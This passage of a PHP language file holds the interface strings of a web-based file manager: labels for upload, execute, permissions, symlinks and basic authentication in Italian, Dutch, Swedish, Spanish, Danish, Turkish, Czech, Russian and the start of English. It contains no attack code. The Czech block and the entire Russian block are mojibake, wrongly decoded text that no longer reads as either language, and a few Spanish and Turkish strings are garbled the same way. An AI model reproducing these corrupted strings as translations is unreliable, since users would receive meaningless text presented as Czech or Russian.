3675'copy_files' => 'Copio questi file',
3676
3677'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
3678
3679'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
3680
3681'not_edited' => '"[%1]" non può essere modificato.',
3682
3683'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
3684
3685'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
3686
3687'saved' => '"[%1]" è stato salvato.',
3688
3689'not_saved' => '"[%1]" non è stato salvato.',
3690
3691'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
3692
3693'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
3694
3695'permission_for' => 'Permessi di "[%1]":',
3696
3697'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
3698
3699'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
3700
3701'not_readable' => '"[%1]" non può essere letto.'
3702
3703 );
3704
3705
3706
3707 case 'nl':
3708
3709
3710
3711 $date_format = 'n/j/y H:i:s';
3712
3713 $word_charset = 'ISO-8859-1';
3714
3715
3716
3717 return array(
3718
3719'directory' => 'Directory',
3720
3721'file' => 'Bestand',
3722
3723'filename' => 'Bestandsnaam',
3724
3725
3726
3727'size' => 'Grootte',
3728
3729'permission' => 'Bevoegdheid',
3730
3731'owner' => 'Eigenaar',
3732
3733'group' => 'Groep',
3734
3735'other' => 'Anderen',
3736
3737'functions' => 'Functies',
3738
3739
3740
3741'read' => 'lezen',
3742
3743'write' => 'schrijven',
3744
3745'execute' => 'uitvoeren',
3746
3747
3748
3749'create_symlink' => 'maak symlink',
3750
3751'delete' => 'verwijderen',
3752
3753'rename' => 'hernoemen',
3754
3755'move' => 'verplaatsen',
3756
3757'copy' => 'kopieren',
3758
3759'edit' => 'bewerken',
3760
3761'download' => 'downloaden',
3762
3763'upload' => 'uploaden',
3764
3765'create' => 'aanmaken',
3766
3767'change' => 'veranderen',
3768
3769'save' => 'opslaan',
3770
3771'set' => 'instellen',
3772
3773'reset' => 'resetten',
3774
3775'relative' => 'Relatief pat naar doel',
3776
3777
3778
3779'yes' => 'Ja',
3780
3781'no' => 'Nee',
3782
3783'back' => 'terug',
3784
3785'destination' => 'Bestemming',
3786
3787'symlink' => 'Symlink',
3788
3789'no_output' => 'geen output',
3790
3791
3792
3793'user' => 'Gebruiker',
3794
3795'password' => 'Wachtwoord',
3796
3797'add' => 'toevoegen',
3798
3799'add_basic_auth' => 'add basic-authentification',
3800
3801
3802
3803'uploaded' => '"[%1]" is verstuurd.',
3804
3805'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
3806
3807'already_exists' => '"[%1]" bestaat al.',
3808
3809'created' => '"[%1]" is aangemaakt.',
3810
3811'not_created' => '"[%1]" kan niet worden aangemaakt.',
3812
3813'really_delete' => 'Deze bestanden verwijderen?',
3814
3815'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
3816
3817'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
3818
3819'rename_file' => 'Bestandsnaam veranderen:',
3820
3821'renamed' => '"[%1]" heet nu "[%2]".',
3822
3823'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
3824
3825'move_files' => 'Verplaats deze bestanden:',
3826
3827'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
3828
3829'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
3830
3831'copy_files' => 'Kopieer deze bestanden:',
3832
3833'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
3834
3835'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
3836
3837'not_edited' => '"[%1]" kan niet worden bewerkt.',
3838
3839'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
3840
3841'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
3842
3843'saved' => '"[%1]" is opgeslagen.',
3844
3845'not_saved' => '"[%1]" is niet opgeslagen.',
3846
3847'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
3848
3849'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
3850
3851'permission_for' => 'Bevoegdheid voor "[%1]":',
3852
3853'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
3854
3855'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
3856
3857'not_readable' => '"[%1]" kan niet worden gelezen.'
3858
3859 );
3860
3861
3862
3863 case 'se':
3864
3865
3866
3867 $date_format = 'n/j/y H:i:s';
3868
3869 $word_charset = 'ISO-8859-1';
3870
3871
3872
3873 return array(
3874
3875'directory' => 'Mapp',
3876
3877'file' => 'Fil',
3878
3879'filename' => 'Filnamn',
3880
3881
3882
3883'size' => 'Storlek',
3884
3885'permission' => 'Säkerhetsnivå',
3886
3887'owner' => 'Ägare',
3888
3889'group' => 'Grupp',
3890
3891'other' => 'Andra',
3892
3893'functions' => 'Funktioner',
3894
3895
3896
3897'read' => 'Läs',
3898
3899'write' => 'Skriv',
3900
3901'execute' => 'Utför',
3902
3903
3904
3905'create_symlink' => 'Skapa symlink',
3906
3907'delete' => 'Radera',
3908
3909'rename' => 'Byt namn',
3910
3911'move' => 'Flytta',
3912
3913'copy' => 'Kopiera',
3914
3915'edit' => 'Ändra',
3916
3917'download' => 'Ladda ner',
3918
3919'upload' => 'Ladda upp',
3920
3921'create' => 'Skapa',
3922
3923'change' => 'Ändra',
3924
3925'save' => 'Spara',
3926
3927'set' => 'Markera',
3928
3929'reset' => 'Töm',
3930
3931'relative' => 'Relative path to target',
3932
3933
3934
3935'yes' => 'Ja',
3936
3937'no' => 'Nej',
3938
3939'back' => 'Tillbaks',
3940
3941'destination' => 'Destination',
3942
3943'symlink' => 'Symlink',
3944
3945'no_output' => 'no output',
3946
3947
3948
3949'user' => 'Användare',
3950
3951'password' => 'Lösenord',
3952
3953'add' => 'Lägg till',
3954
3955'add_basic_auth' => 'add basic-authentification',
3956
3957
3958
3959'uploaded' => '"[%1]" har laddats upp.',
3960
3961'not_uploaded' => '"[%1]" kunde inte laddas upp.',
3962
3963'already_exists' => '"[%1]" finns redan.',
3964
3965'created' => '"[%1]" har skapats.',
3966
3967'not_created' => '"[%1]" kunde inte skapas.',
3968
3969'really_delete' => 'Radera dessa filer?',
3970
3971'deleted' => "De här filerna har raderats:\n[%1]",
3972
3973'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
3974
3975'rename_file' => 'Byt namn på fil:',
3976
3977'renamed' => '"[%1]" har bytt namn till "[%2]".',
3978
3979'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
3980
3981'move_files' => 'Flytta dessa filer:',
3982
3983'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
3984
3985'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
3986
3987'copy_files' => 'Kopiera dessa filer:',
3988
3989'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
3990
3991'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
3992
3993'not_edited' => '"[%1]" kan inte ändras.',
3994
3995'executed' => "\"[%1]\" har utförts:\n{%2}",
3996
3997'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
3998
3999'saved' => '"[%1]" har sparats.',
4000
4001'not_saved' => '"[%1]" kunde inte sparas.',
4002
4003'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
4004
4005'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
4006
4007'permission_for' => 'Rättigheter för "[%1]":',
4008
4009'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
4010
4011'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
4012
4013'not_readable' => '"[%1]" kan inte läsas.'
4014
4015 );
4016
4017
4018
4019 case 'sp':
4020
4021
4022
4023 $date_format = 'j/n/y H:i:s';
4024
4025 $word_charset = 'ISO-8859-1';
4026
4027
4028
4029 return array(
4030
4031'directory' => 'Directorio',
4032
4033'file' => 'Archivo',
4034
4035'filename' => 'Nombre Archivo',
4036
4037
4038
4039'size' => 'Tamaño',
4040
4041'permission' => 'Permisos',
4042
4043'owner' => 'Propietario',
4044
4045'group' => 'Grupo',
4046
4047'other' => 'Otros',
4048
4049'functions' => 'Funciones',
4050
4051
4052
4053'read' => 'lectura',
4054
4055'write' => 'escritura',
4056
4057'execute' => 'ejecución',
4058
4059
4060
4061'create_symlink' => 'crear enlace',
4062
4063'delete' => 'borrar',
4064
4065'rename' => 'renombrar',
4066
4067'move' => 'mover',
4068
4069'copy' => 'copiar',
4070
4071'edit' => 'editar',
4072
4073'download' => 'bajar',
4074
4075'upload' => 'subir',
4076
4077'create' => 'crear',
4078
4079'change' => 'cambiar',
4080
4081'save' => 'salvar',
4082
4083'set' => 'setear',
4084
4085'reset' => 'resetear',
4086
4087'relative' => 'Path relativo',
4088
4089
4090
4091'yes' => 'Si',
4092
4093'no' => 'No',
4094
4095'back' => 'atrás',
4096
4097'destination' => 'Destino',
4098
4099'symlink' => 'Enlace',
4100
4101'no_output' => 'sin salida',
4102
4103
4104
4105'user' => 'Usuario',
4106
4107'password' => 'Clave',
4108
4109'add' => 'agregar',
4110
4111'add_basic_auth' => 'agregar autentificación básica',
4112
4113
4114
4115'uploaded' => '"[%1]" ha sido subido.',
4116
4117'not_uploaded' => '"[%1]" no pudo ser subido.',
4118
4119'already_exists' => '"[%1]" ya existe.',
4120
4121'created' => '"[%1]" ha sido creado.',
4122
4123'not_created' => '"[%1]" no pudo ser creado.',
4124
4125'really_delete' => '¿Borra estos archivos?',
4126
4127'deleted' => "Estos archivos han sido borrados:\n[%1]",
4128
4129'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
4130
4131'rename_file' => 'Renombra archivo:',
4132
4133'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
4134
4135'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
4136
4137'move_files' => 'Mover estos archivos:',
4138
4139'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
4140
4141'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
4142
4143'copy_files' => 'Copiar estos archivos:',
4144
4145'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
4146
4147'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
4148
4149'not_edited' => '"[%1]" no pudo ser editado.',
4150
4151'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
4152
4153'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
4154
4155'saved' => '"[%1]" ha sido salvado.',
4156
4157'not_saved' => '"[%1]" no pudo ser salvado.',
4158
4159'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
4160
4161'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
4162
4163'permission_for' => 'Permisos de "[%1]":',
4164
4165'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
4166
4167'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
4168
4169'not_readable' => '"[%1]" no pudo ser leÃdo.'
4170
4171 );
4172
4173
4174
4175 case 'dk':
4176
4177
4178
4179 $date_format = 'n/j/y H:i:s';
4180
4181 $word_charset = 'ISO-8859-1';
4182
4183
4184
4185 return array(
4186
4187'directory' => 'Mappe',
4188
4189'file' => 'Fil',
4190
4191'filename' => 'Filnavn',
4192
4193
4194
4195'size' => 'Størrelse',
4196
4197'permission' => 'Rettighed',
4198
4199'owner' => 'Ejer',
4200
4201'group' => 'Gruppe',
4202
4203'other' => 'Andre',
4204
4205'functions' => 'Funktioner',
4206
4207
4208
4209'read' => 'læs',
4210
4211'write' => 'skriv',
4212
4213'execute' => 'kør',
4214
4215
4216
4217'create_symlink' => 'opret symbolsk link',
4218
4219'delete' => 'slet',
4220
4221'rename' => 'omdøb',
4222
4223'move' => 'flyt',
4224
4225'copy' => 'kopier',
4226
4227'edit' => 'rediger',
4228
4229'download' => 'download',
4230
4231'upload' => 'upload',
4232
4233'create' => 'opret',
4234
4235'change' => 'skift',
4236
4237'save' => 'gem',
4238
4239'set' => 'sæt',
4240
4241'reset' => 'nulstil',
4242
4243'relative' => 'Relativ sti til valg',
4244
4245
4246
4247'yes' => 'Ja',
4248
4249'no' => 'Nej',
4250
4251'back' => 'tilbage',
4252
4253'destination' => 'Distination',
4254
4255'symlink' => 'Symbolsk link',
4256
4257'no_output' => 'ingen resultat',
4258
4259
4260
4261'user' => 'Bruger',
4262
4263'password' => 'Kodeord',
4264
4265'add' => 'tilføj',
4266
4267'add_basic_auth' => 'tilføj grundliggende rettigheder',
4268
4269
4270
4271'uploaded' => '"[%1]" er blevet uploaded.',
4272
4273'not_uploaded' => '"[%1]" kunnu ikke uploades.',
4274
4275'already_exists' => '"[%1]" findes allerede.',
4276
4277'created' => '"[%1]" er blevet oprettet.',
4278
4279'not_created' => '"[%1]" kunne ikke oprettes.',
4280
4281'really_delete' => 'Slet disse filer?',
4282
4283'deleted' => "Disse filer er blevet slettet:\n[%1]",
4284
4285'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
4286
4287'rename_file' => 'Omdød fil:',
4288
4289'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
4290
4291'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
4292
4293'move_files' => 'Flyt disse filer:',
4294
4295'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
4296
4297'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
4298
4299'copy_files' => 'Kopier disse filer:',
4300
4301'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
4302
4303'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
4304
4305'not_edited' => '"[%1]" kan ikke redigeres.',
4306
4307'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
4308
4309'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
4310
4311'saved' => '"[%1]" er blevet gemt.',
4312
4313'not_saved' => '"[%1]" kunne ikke gemmes.',
4314
4315'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
4316
4317'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
4318
4319'permission_for' => 'Rettigheder for "[%1]":',
4320
4321'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
4322
4323'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
4324
4325'not_readable' => '"[%1]" Kan ikke læses.'
4326
4327 );
4328
4329
4330
4331 case 'tr':
4332
4333
4334
4335 $date_format = 'n/j/y H:i:s';
4336
4337 $word_charset = 'ISO-8859-1';
4338
4339
4340
4341 return array(
4342
4343'directory' => 'Klasör',
4344
4345'file' => 'Dosya',
4346
4347'filename' => 'dosya adi',
4348
4349
4350
4351'size' => 'boyutu',
4352
4353'permission' => 'Izin',
4354
4355'owner' => 'sahib',
4356
4357'group' => 'Grup',
4358
4359'other' => 'Digerleri',
4360
4361'functions' => 'Fonksiyonlar',
4362
4363
4364
4365'read' => 'oku',
4366
4367'write' => 'yaz',
4368
4369'execute' => 'çalistir',
4370
4371
4372
4373'create_symlink' => 'yarat symlink',
4374
4375'delete' => 'sil',
4376
4377'rename' => 'ad degistir',
4378
4379'move' => 'tasi',
4380
4381'copy' => 'kopyala',
4382
4383'edit' => 'düzenle',
4384
4385'download' => 'indir',
4386
4387'upload' => 'yükle',
4388
4389'create' => 'create',
4390
4391'change' => 'degistir',
4392
4393'save' => 'kaydet',
4394
4395'set' => 'ayar',
4396
4397'reset' => 'sifirla',
4398
4399'relative' => 'Hedef yola göre',
4400
4401
4402
4403'yes' => 'Evet',
4404
4405'no' => 'Hayir',
4406
4407'back' => 'Geri',
4408
4409'destination' => 'Hedef',
4410
4411'symlink' => 'Kýsa yol',
4412
4413'no_output' => 'çikti yok',
4414
4415
4416
4417'user' => 'Kullanici',
4418
4419'password' => 'Sifre',
4420
4421'add' => 'ekle',
4422
4423'add_basic_auth' => 'ekle basit-authentification',
4424
4425
4426
4427'uploaded' => '"[%1]" yüklendi.',
4428
4429'not_uploaded' => '"[%1]" yüklenemedi.',
4430
4431'already_exists' => '"[%1]" kullanilmakta.',
4432
4433'created' => '"[%1]" olusturuldu.',
4434
4435'not_created' => '"[%1]" olusturulamadi.',
4436
4437'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
4438
4439'deleted' => "Bu dosyalar silindi:\n[%1]",
4440
4441'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
4442
4443'rename_file' => 'Adi degisen dosya:',
4444
4445'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
4446
4447'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
4448
4449'move_files' => 'Tasinan dosyalar:',
4450
4451'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
4452
4453'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
4454
4455'copy_files' => 'Kopyalanan dosyalar:',
4456
4457'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
4458
4459'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
4460
4461'not_edited' => '"[%1]" düzenlenemiyor.',
4462
4463'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
4464
4465'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
4466
4467'saved' => '"[%1]" kaydedildi.',
4468
4469'not_saved' => '"[%1]" kaydedilemedi.',
4470
4471'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
4472
4473'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
4474
4475'permission_for' => 'Izinler "[%1]":',
4476
4477'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
4478
4479'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
4480
4481'not_readable' => '"[%1]" okunamiyor.'
4482
4483 );
4484
4485
4486
4487 case 'cs':
4488
4489
4490
4491 $date_format = 'd.m.y H:i:s';
4492
4493 $word_charset = 'UTF-8';
4494
4495
4496
4497 return array(
4498
4499'directory' => 'Adresá�',
4500
4501'file' => 'Soubor',
4502
4503'filename' => 'Jméno souboru',
4504
4505
4506
4507'size' => 'Velikost',
4508
4509'permission' => 'Práva',
4510
4511'owner' => 'VlastnÃÂk',
4512
4513'group' => 'Skupina',
4514
4515'other' => 'OstatnÃÂ',
4516
4517'functions' => 'Funkce',
4518
4519
4520
4521'read' => '�tenÃÂ',
4522
4523'write' => 'Zápis',
4524
4525'execute' => 'SpouÅ¡t�nÃÂ',
4526
4527
4528
4529'create_symlink' => 'Vytvo�it symbolický odkaz',
4530
4531'delete' => 'Smazat',
4532
4533'rename' => 'P�ejmenovat',
4534
4535'move' => 'P�esunout',
4536
4537'copy' => 'ZkopÃÂrovat',
4538
4539'edit' => 'OtevÅ�ÃÂt',
4540
4541'download' => 'Stáhnout',
4542
4543'upload' => 'Nahraj na server',
4544
4545'create' => 'Vytvo�it',
4546
4547'change' => 'Zm�nit',
4548
4549'save' => 'Uložit',
4550
4551'set' => 'Nastavit',
4552
4553'reset' => 'zp�t',
4554
4555'relative' => 'Relatif',
4556
4557
4558
4559'yes' => 'Ano',
4560
4561'no' => 'Ne',
4562
4563'back' => 'Zp�t',
4564
4565'destination' => 'Destination',
4566
4567'symlink' => 'Symbolický odkaz',
4568
4569'no_output' => 'Prázdný výstup',
4570
4571
4572
4573'user' => 'Uživatel',
4574
4575'password' => 'Heslo',
4576
4577'add' => 'P�idat',
4578
4579'add_basic_auth' => 'p�idej základnàautentizaci',
4580
4581
4582
4583'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
4584
4585'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
4586
4587'already_exists' => 'Soubor "[%1]" už exituje.',
4588
4589'created' => 'Soubor "[%1]" byl vytvo�en.',
4590
4591'not_created' => 'Soubor "[%1]" nemohl být vytvo�en.',
4592
4593'really_delete' => 'Vymazat soubor?',
4594
4595'deleted' => "Byly vymazány tyto soubory:\n[%1]",
4596
4597'not_deleted' => "Tyto soubory nemohly být vytvo�eny:\n[%1]",
4598
4599'rename_file' => 'P�ejmenuj soubory:',
4600
4601'renamed' => 'Soubor "[%1]" byl p�ejmenován na "[%2]".',
4602
4603'not_renamed' => 'Soubor "[%1]" nemohl být p�ejmenován na "[%2]".',
4604
4605'move_files' => 'P�emÃÂstit tyto soubory:',
4606
4607'moved' => "Tyto soubory byly p�emÃÂst�ny do \"[%2]\":\n[%1]",
4608
4609'not_moved' => "Tyto soubory nemohly být p�emÃÂst�ny do \"[%2]\":\n[%1]",
4610
4611'copy_files' => 'ZkopÃÂrovat tyto soubory:',
4612
4613'copied' => "Tyto soubory byly zkopÃÂrovány do \"[%2]\":\n[%1]",
4614
4615'not_copied' => "Tyto soubory nemohly být zkopÃÂrovány do \"[%2]\":\n[%1]",
4616
4617'not_edited' => 'Soubor "[%1]" nemohl být otev�en.',
4618
4619'executed' => "SOubor \"[%1]\" byl spušt�n :\n{%2}",
4620
4621'not_executed' => "Soubor \"[%1]\" nemohl být spušt�n:\n{%2}",
4622
4623'saved' => 'Soubor "[%1]" byl uložen.',
4624
4625'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
4626
4627'symlinked' => 'Byl vyvo�en symbolický odkaz "[%2]" na soubor "[%1]".',
4628
4629'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvo�en.',
4630
4631'permission_for' => 'Práva k "[%1]":',
4632
4633'permission_set' => 'Práva k "[%1]" byla zm�n�na na [%2].',
4634
4635'permission_not_set' => 'Práva k "[%1]" nemohla být zm�n�na na [%2].',
4636
4637'not_readable' => 'Soubor "[%1]" nenàmožno p�eÄ�ÃÂst.'
4638
4639 );
4640
4641
4642
4643 case 'ru':
4644
4645
4646
4647 $date_format = 'd.m.y H:i:s';
4648
4649 $word_charset = 'KOI8-R';
4650
4651
4652
4653 return array(
4654
4655'directory' => 'ëÃÔÃÃŒÃÇ',
4656
4657'file' => 'æÃÊÌ',
4658
4659'filename' => 'éÃÑ ÆÃÊÌÃ',
4660
4661
4662
4663'size' => 'òÃÚÃÃ…Ã’',
4664
4665'permission' => 'ðÒÃ×Ã',
4666
4667'owner' => 'èÃÚÑÉÎ',
4668
4669'group' => 'çÒÕÃÃÃ',
4670
4671'other' => 'äÒÕÇÉÅ',
4672
4673'functions' => 'æÕÎËÃÉÑ',
4674
4675
4676
4677'read' => 'ÞÉÔÃÔØ',
4678
4679'write' => 'ÃÉÓÃÔØ',
4680
4681'execute' => '×ÙÃÃÌÎÉÔØ',
4682
4683
4684
4685'create_symlink' => 'óÄÅÌÃÔØ ÓÉÃÌÉÎË',
4686
4687'delete' => 'ÕÄÃÌÉÔØ',
4688
4689'rename' => 'ÃÅÒÅÉÃÃ…ÃŽÃ×ÃÔØ',
4690
4691'move' => 'ÃÅÒÅÄ×ÉÎÕÔØ',
4692
4693'copy' => 'ËÃÃÉÒÃ×ÃÔØ',
4694
4695'edit' => 'ÒÅÄÃËÔÉÒÃ×ÃÔØ',
4696
4697'download' => 'ÓËÃÞÃÔØ',
4698
4699'upload' => 'ÚÃËÃÞÃÔØ',
4700
4701'create' => 'ÓÄÅÌÃÔØ',
4702
4703'change' => 'ÃÃÃÅÎÑÔØ',
4704
4705'save' => 'ÓÃÈÒÃÎÉÔØ',
4706
4707'set' => 'ÕÓÔÃÃŽÃ×ÉÔØ',
4708
4709'reset' => 'ÓÂÒÃÓÉÔØ',
4710
4711'relative' => 'ÃÔÎÃÓÉÔÅÌØÎÙÊ ÃÕÔØ Ë ÃÅÌÉ',
4712
4713
4714
4715'yes' => 'ÄÃ',
4716
4717'no' => 'ÎÅÔ',
4718
4719'back' => 'ÃŽÃÚÃÄ',
4720
4721'destination' => 'ÃÅÌØ',
4722
4723'symlink' => 'ÓÉÃ×ÃÌÉÞÅÓËÉÊ ÌÉÎË',
4724
4725'no_output' => 'ÎÅÔ ×Ù×ÃÄÃ',
4726
4727
4728
4729'user' => 'ðÃÌØÚÃ×ÃÔÅÌØ',
4730
4731'password' => 'ðÃÃ’ÃÌØ',
4732
4733'add' => 'ÄÃÂÃ×ÉÔØ',
4734
4735'add_basic_auth' => 'äÃÂÃ×ÉÔØ HTTP-Basic-Auth',
4736
4737
4738
4739'uploaded' => '"[%1]" ÂÙÌ ÚÃËÃÞÅÎ.',
4740
4741'not_uploaded' => '"[%1]" ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÚÃËÃÞÑÔØ.',
4742
4743'already_exists' => '"[%1]" ÕÖÅ ÓÕÃÅÓÔ×ÕÅÔ.',
4744
4745'created' => '"[%1]" ÂÙÌ ÓÄÅÌÃÃŽ.',
4746
4747'not_created' => '"[%1]" ÃŽÃ… ×ÃÚÃÃÖÎà ÓÄÅÌÃÔØ.',
4748
4749'really_delete' => 'äÅÊÓÔ×ÉÔÅÌØÎà ÜÔÃÔ ÆÃÊÌ ÕÄÃÌÉÔØ?',
4750
4751'deleted' => "óÌÅÄÕÀÃÉÅ ÆÃÊÌÙ ÂÙÌÉ ÕÄÃÌÅÎÙ:\n[%1]",
4752
4753'not_deleted' => "óÌÅÄÕÀÃÉÅ ÆÃÊÌÙ ÃŽÃ… ×ÃÚÃÃÖÎà ÂÙÌà ÕÄÃÌÉÔØ:\n[%1]",
4754
4755'rename_file' => 'ðÅÒÅÉÃÃ…ÃŽÃ×Ù×ÃÀ ÆÃÊÌ:',
4756
4757'renamed' => '"[%1]" ÂÙÌ ÃÅÒÅÉÃÃ…ÃŽÃ×ÃÃŽ ÃŽÃ "[%2]".',
4758
4759'not_renamed' => '"[%1] ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÃÅÒÅÉÃÃ…ÃŽÃ×ÃÔØ ÃŽÃ "[%2]".',
4760
4761'move_files' => 'ðÅÒÅÄ×ÉÇÃÀ ÓÌÅÄÕÀÃÉÅ ÆÃÊÌÙ:',
4762
4763'moved' => "óÌÅÄÕÀÃÉÅ ÆÃÊÌÙ ÂÙÌÉ ÃÅÒÅÄ×ÉÎÕÔÙ × ËÃÔÃÃŒÃÇ \"[%2]\":\n[%1]",
4764
4765'not_moved' => "óÌÅÄÕÀÃÉÅ ÆÃÊÌÙ ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÃÅÒÅÄ×ÉÎÕÔØ × ËÃÔÃÃŒÃÇ \"[%2]\":\n[%1]",
4766
4767'copy_files' => 'ëÃÃÉÒÕÀ ÓÌÅÄÕÃÉÅ ÆÃÊÌÙ:',
4768
4769'copied' => "óÌÅÄÕÃÉÅ ÆÃÊÌÙ ÂÙÌÙ ÓËÃÃÉÒÃ×ÃÎÙ × ËÃÔÃÃŒÃÇ \"[%2]\" :\n[%1]",
4770
4771'not_copied' => "óÌÅÄÕÀÃÉÅ ÆÃÊÌÙ ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÓËÃÃÉÒÃ×ÃÔØ × ËÃÔÃÃŒÃÇ \"[%2]\" :\n[%1]",
4772
4773'not_edited' => '"[%1]" ÃŽÃ… ÃÃÖÅÔ ÂÙÔØ ÃÔÒÅÄÃËÔÉÒÃ×ÃÃŽ.',
4774
4775'executed' => "\"[%1]\" ÂÙÌ ÕÓÃÅÛÎà ÉÓÃÃÌÎÅÎ:\n{%2}",
4776
4777'not_executed' => "\"[%1]\" ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÚÃÃÕÓÔÉÔØ Îà ÉÓÃÃÌÎÅÎÉÅ:\n{%2}",
4778
4779'saved' => '"[%1]" ÂÙÌ ÓÃÈÒÃÃŽÃ…ÃŽ.',
4780
4781'not_saved' => '"[%1]" ÎÅ×ÃÚÃÃÖÎà ÂÙÌà ÓÃÈÒÃÎÉÔØ.',
4782
4783'symlinked' => 'óÉÃÌÉÎË Ó "[%2]" ÃŽÃ "[%1]" ÂÙÌ ÓÄÅÌÃÃŽ.',
4784
4785'not_symlinked' => 'îÅ×ÃÚÃÃÖÎà ÂÙÌà ÓÄÅÌÃÔØ ÓÉÃÌÉÎË Ó "[%2]" ÃŽÃ "[%1]".',
4786
4787'permission_for' => 'ðÒÃ×à ÄÃÓÔÕÃà "[%1]":',
4788
4789'permission_set' => 'ðÒÃ×à ÄÃÓÔÕÃà "[%1]" ÂÙÌÉ ÉÚÃÅÎÅÎÙ ÃŽÃ [%2].',
4790
4791'permission_not_set' => 'îÅ×ÃÚÃÃÖÎà ÂÙÌà ÉÚÃÅÎÉÔØ ÃÃ’Ã×à ÄÃÓÔÕÃà Ë "[%1]" ÃŽÃ [%2] .',
4792
4793'not_readable' => '"[%1]" ÎÅ×ÃÚÃÃÖÎà ÃÃ’ÃÞÉÔÃÔØ.'
4794
4795 );
4796
4797
4798
4799 case 'en':
4800
4801 default:
4802
4803
4804
4805 $date_format = 'n/j/y H:i:s';
4806
4807 $word_charset = 'ISO-8859-1';
4808
4809
4810
4811 return array(
4812
4813'directory' => 'Directory',
4814
4815'file' => 'File',
4816
4817'filename' => 'Filename',
4818
4819
4820
4821'size' => 'Size',
4822
4823'permission' => 'Permission',
4824
4825'owner' => 'Owner',
4826
4827'group' => 'Group',
4828
4829'other' => 'Others',
4830
4831'functions' => 'Functions',
4832
4833
4834
4835'read' => 'read',
4836
4837'write' => 'write',
4838
4839'execute' => 'execute',
4840
4841
4842
